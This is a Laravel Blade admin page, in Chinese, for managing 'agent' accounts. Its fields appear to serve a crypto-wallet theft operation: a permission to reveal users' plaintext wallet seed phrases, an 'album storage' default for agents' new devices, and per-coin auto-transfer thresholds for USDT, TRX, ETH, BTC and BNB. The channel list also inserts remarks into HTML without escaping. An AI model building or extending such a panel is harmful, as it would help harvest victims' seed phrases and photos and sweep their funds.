309 lines
15 KiB
PHP
309 lines
15 KiB
PHP
@extends('admin.content')
|
||
|
||
@section('title', '代理用户')
|
||
|
||
@section('content')
|
||
<div class="layui-card">
|
||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-agent-search">
|
||
<div class="layui-form-item">
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">账号</label>
|
||
<div class="layui-input-block">
|
||
<input type="text" name="username" class="layui-input" autocomplete="off">
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">状态</label>
|
||
<div class="layui-input-block">
|
||
<select name="status">
|
||
<option value="">全部</option>
|
||
<option value="1">启用</option>
|
||
<option value="0">禁用</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<button class="layui-btn" lay-submit lay-filter="LAY-agent-search">搜索</button>
|
||
<button type="button" class="layui-btn layui-btn-normal" id="LAY-agent-create">新建</button>
|
||
</div>
|
||
</div>
|
||
</form>
|
||
<div class="layui-card-body">
|
||
<table id="LAY-agent-list" lay-filter="LAY-agent-list"></table>
|
||
<script type="text/html" id="LAY-agent-ops">
|
||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="channels">渠道链接</a>
|
||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
|
||
@{{# if(d.is_locked){ }}
|
||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="unlock">解锁</a>
|
||
@{{# } }}
|
||
@{{# if (d.telegram_ready) { }}
|
||
<a class="layui-btn layui-btn-xs" lay-event="tgtest">测试TG</a>
|
||
@{{# } }}
|
||
</script>
|
||
</div>
|
||
</div>
|
||
@endsection
|
||
|
||
@push('scripts')
|
||
<script>
|
||
layui.use(['table', 'form', 'layer'], function () {
|
||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||
var token = @json(csrf_token());
|
||
var botUsername = @json($botUsername ?? '');
|
||
var botInviteUrl = @json($botInviteUrl ?? '');
|
||
var staffMnemonicReveal = @json(!empty($staff_mnemonic_reveal));
|
||
|
||
function esc(s) {
|
||
return String(s == null ? '' : s)
|
||
.replace(/&/g, '&')
|
||
.replace(/"/g, '"')
|
||
.replace(/</g, '<');
|
||
}
|
||
|
||
var cols = [
|
||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||
{ field: 'username', title: '账号', width: 120, sort: true },
|
||
{ field: 'status', title: '状态', width: 80, templet: function (d) {
|
||
return d.status == 1
|
||
? '<span style="color:#16a34a;font-weight:600;">启用</span>'
|
||
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
|
||
}},
|
||
{ field: 'telegram_ready', title: 'TG', width: 70, templet: function (d) {
|
||
return d.telegram_ready
|
||
? '<span style="color:#16a34a;">已配</span>'
|
||
: '<span style="color:#888;">未配</span>';
|
||
}},
|
||
{ field: 'google_bound', title: '谷歌验证', width: 90, templet: function (d) {
|
||
return Number(d.google_bound) === 1
|
||
? '<span style="color:#16a34a;">已绑定</span>'
|
||
: '<span style="color:#888;">未绑定</span>';
|
||
}},
|
||
{ field: 'is_locked', title: '锁定状态', width: 110, templet: function (d) {
|
||
if (d.is_locked) {
|
||
return '<span style="color:#ff5722;">已封锁</span><br><span style="font-size:12px;color:#999;">' + (d.locked_at || '') + '</span>';
|
||
}
|
||
var attempts = Number(d.login_attempts) || 0;
|
||
if (attempts > 0) {
|
||
return '<span style="color:#ffb800;">失败 ' + attempts + ' 次</span>';
|
||
}
|
||
return '<span style="color:#16b777;">正常</span>';
|
||
}},
|
||
{ field: 'chat_id', title: 'Chat ID', width: 140 },
|
||
{ field: 'comment', title: '备注', minWidth: 100 },
|
||
{ field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) {
|
||
return Number(d.album_storage_default) === 1
|
||
? '<span style="color:#16a34a;">开</span>'
|
||
: '<span style="color:#888;">关</span>';
|
||
}}
|
||
];
|
||
@if(!empty($staff_mnemonic_reveal))
|
||
cols.push({ field: 'can_reveal_mnemonics', title: '查看助记词', width: 110, templet: function (d) {
|
||
return Number(d.can_reveal_mnemonics) === 1
|
||
? '<span style="color:#16a34a;">开</span>'
|
||
: '<span style="color:#888;">关</span>';
|
||
}});
|
||
@endif
|
||
cols.push(
|
||
{ field: 'channels_count', title: '渠道数', width: 90 },
|
||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||
{ title: '操作', width: 300, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||
);
|
||
|
||
table.render({
|
||
elem: '#LAY-agent-list',
|
||
id: 'LAY-agent-list',
|
||
url: @json(route('admin.agents.data')),
|
||
cols: [cols],
|
||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||
request: { pageName: 'page', limitName: 'limit' },
|
||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||
});
|
||
|
||
form.on('submit(LAY-agent-search)', function (data) {
|
||
table.reload('LAY-agent-list', { where: data.field, page: { curr: 1 } });
|
||
return false;
|
||
});
|
||
|
||
function openForm(title, values, onOk) {
|
||
values = values || {};
|
||
layer.open({
|
||
type: 1,
|
||
title: title,
|
||
area: ['560px', 'auto'],
|
||
content: '<form class="layui-form" style="padding:16px;" id="LAY-agent-form">' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">账号</label><div class="layui-input-block">' +
|
||
'<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + esc(values.username || '') + '"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">密码</label><div class="layui-input-block">' +
|
||
'<input name="password" type="password" class="layui-input" placeholder="' + (values.id ? '留空不改' : '必填') + '"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
|
||
'<input name="comment" class="layui-input" value="' + esc(values.comment || '') + '"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">Chat ID</label><div class="layui-input-block">' +
|
||
'<div style="display:flex;gap:8px;align-items:center;">' +
|
||
'<input name="chat_id" class="layui-input" placeholder="代理通知群 chat_id" value="' + esc(values.chat_id || '') + '" style="flex:1;">' +
|
||
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-agent-tg-test" style="flex-shrink:0;">测试推送</button>' +
|
||
'</div></div></div>' +
|
||
'<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;line-height:1.5;">' +
|
||
(botUsername
|
||
? '请邀请 <b>' + esc(botUsername) + '</b> 进群' + (botInviteUrl ? '(<a href="' + esc(botInviteUrl) + '" target="_blank" rel="noopener">点此邀请</a>)' : '') + ',进群后 Bot 会回复 Chat ID,再填到这里。'
|
||
: '请先在系统设置保存有效 Bot Token(会自动识别 @用户名),再邀请该 Bot 进群。') +
|
||
' 填 Chat ID 后,该代理渠道通知会同时发到此群和官方群。</div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
||
'</div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">相册存储</label><div class="layui-input-block">' +
|
||
'<input type="checkbox" name="album_storage_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.album_storage_default) === 1 ? 'checked' : '') + '>' +
|
||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">该代理新设备默认是否开启相册存储,默认关;仅管理员可改</div>' +
|
||
'</div></div>' +
|
||
@if(!empty($staff_mnemonic_reveal))
|
||
'<div class="layui-form-item"><label class="layui-form-label">查看助记词</label><div class="layui-input-block">' +
|
||
'<input type="checkbox" name="mnemonic_reveal_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.can_reveal_mnemonics) === 1 ? 'checked' : '') + '>' +
|
||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">查看明文仍要谷歌验证</div>' +
|
||
'</div></div>' +
|
||
@endif
|
||
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
|
||
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
|
||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
|
||
'</div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">阈值</label><div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:6px;">' +
|
||
'<input name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:110px;" value="' + esc(values.auto_transfer_threshold_usdt || '') + '">' +
|
||
'<input name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:110px;" value="' + esc(values.auto_transfer_threshold_trx || '') + '">' +
|
||
'<input name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:110px;" value="' + esc(values.auto_transfer_threshold_eth || '') + '">' +
|
||
'<input name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:110px;" value="' + esc(values.auto_transfer_threshold_btc || '') + '">' +
|
||
'<input name="auto_transfer_threshold_bnb" class="layui-input" placeholder="BNB" style="width:110px;" value="' + esc(values.auto_transfer_threshold_bnb || '') + '">' +
|
||
'</div><div class="layui-form-mid layui-word-aux" style="margin-left:110px;">留空则用系统阈值(系统也空则 >0)</div></div>' +
|
||
'</form>',
|
||
success: function (layero, index) {
|
||
form.render();
|
||
var maxH = Math.max(240, window.innerHeight - 140);
|
||
var $content = layero.find('.layui-layer-content');
|
||
if ($content.outerHeight() > maxH) {
|
||
$content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' });
|
||
layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' });
|
||
}
|
||
$('#LAY-agent-tg-test').on('click', function () {
|
||
var $btn = $(this);
|
||
if ($btn.prop('disabled')) return;
|
||
$btn.prop('disabled', true);
|
||
$.ajax({
|
||
url: @json(route('admin.agents.telegramTest')),
|
||
method: 'POST',
|
||
data: {
|
||
_token: token,
|
||
chat_id: $('#LAY-agent-form input[name=chat_id]').val(),
|
||
agent_id: values.id || ''
|
||
},
|
||
success: function (res) {
|
||
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
|
||
},
|
||
error: function (xhr) {
|
||
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败');
|
||
},
|
||
complete: function () {
|
||
$btn.prop('disabled', false);
|
||
}
|
||
});
|
||
});
|
||
},
|
||
btn: ['保存', '取消'],
|
||
yes: function (index) {
|
||
var data = {};
|
||
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
|
||
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
|
||
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
|
||
data.album_storage_default = $('#LAY-agent-form input[name=album_storage_switch]').is(':checked') ? 1 : 0;
|
||
if (staffMnemonicReveal) {
|
||
data.can_reveal_mnemonics = $('#LAY-agent-form input[name=mnemonic_reveal_switch]').is(':checked') ? 1 : 0;
|
||
}
|
||
delete data.status_switch;
|
||
delete data.auto_transfer_switch;
|
||
delete data.album_storage_switch;
|
||
delete data.mnemonic_reveal_switch;
|
||
onOk(data, index);
|
||
}
|
||
});
|
||
}
|
||
|
||
$('#LAY-agent-create').on('click', function () {
|
||
openForm('新建代理', { status: 1 }, function (data, index) {
|
||
$.ajax({
|
||
url: @json(route('admin.agents.store')),
|
||
method: 'POST',
|
||
data: data,
|
||
headers: { 'X-CSRF-TOKEN': token },
|
||
success: function (res) {
|
||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||
layer.close(index);
|
||
table.reload('LAY-agent-list');
|
||
},
|
||
error: function (xhr) {
|
||
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '创建失败');
|
||
}
|
||
});
|
||
});
|
||
});
|
||
|
||
table.on('tool(LAY-agent-list)', function (obj) {
|
||
var d = obj.data;
|
||
if (obj.event === 'edit') {
|
||
openForm('编辑代理', d, function (data, index) {
|
||
$.ajax({
|
||
url: @json(url('/admin/agents')) + '/' + d.id,
|
||
method: 'POST',
|
||
data: Object.assign(data, { _method: 'PUT', _token: token }),
|
||
success: function (res) {
|
||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||
layer.close(index);
|
||
table.reload('LAY-agent-list');
|
||
},
|
||
error: function (xhr) {
|
||
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '更新失败');
|
||
}
|
||
});
|
||
});
|
||
} else if (obj.event === 'unlock') {
|
||
layer.confirm('确定解除代理「' + d.username + '」的封禁状态?', function (index) {
|
||
$.ajax({
|
||
url: @json(url('/admin/agents')) + '/' + d.id + '/unlock',
|
||
method: 'POST',
|
||
data: { _token: token },
|
||
success: function (res) {
|
||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||
layer.msg(res.msg || '已解除封禁');
|
||
layer.close(index);
|
||
table.reload('LAY-agent-list');
|
||
},
|
||
error: function (xhr) {
|
||
layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '解锁失败');
|
||
}
|
||
});
|
||
});
|
||
} else if (obj.event === 'tgtest') {
|
||
$.ajax({
|
||
url: @json(route('admin.agents.telegramTest')),
|
||
method: 'POST',
|
||
data: { _token: token, agent_id: d.id, chat_id: d.chat_id },
|
||
success: function (res) {
|
||
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
|
||
},
|
||
error: function (xhr) {
|
||
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败');
|
||
}
|
||
});
|
||
} else if (obj.event === 'channels') {
|
||
$.getJSON(@json(url('/admin/agents')) + '/' + d.id + '/channels', function (res) {
|
||
var html = (res.data || []).map(function (c) {
|
||
var st = c.status == 1
|
||
? '<span style="color:#16a34a;">启用</span>'
|
||
: '<span style="color:#dc2626;">禁用</span>';
|
||
return '<div style="margin-bottom:10px;"><b>' + c.channel_id + '</b> (' + st + ')' +
|
||
(c.remark ? '<br><span style="color:#888;">' + c.remark + '</span>' : '') +
|
||
'</div>';
|
||
}).join('') || '暂无渠道链接';
|
||
layer.open({ type: 1, title: '渠道链接 — ' + d.username, area: ['520px', '360px'], content: '<div style="padding:16px;">' + html + '</div>' });
|
||
});
|
||
}
|
||
});
|
||
});
|
||
</script>
|
||
@endpush
|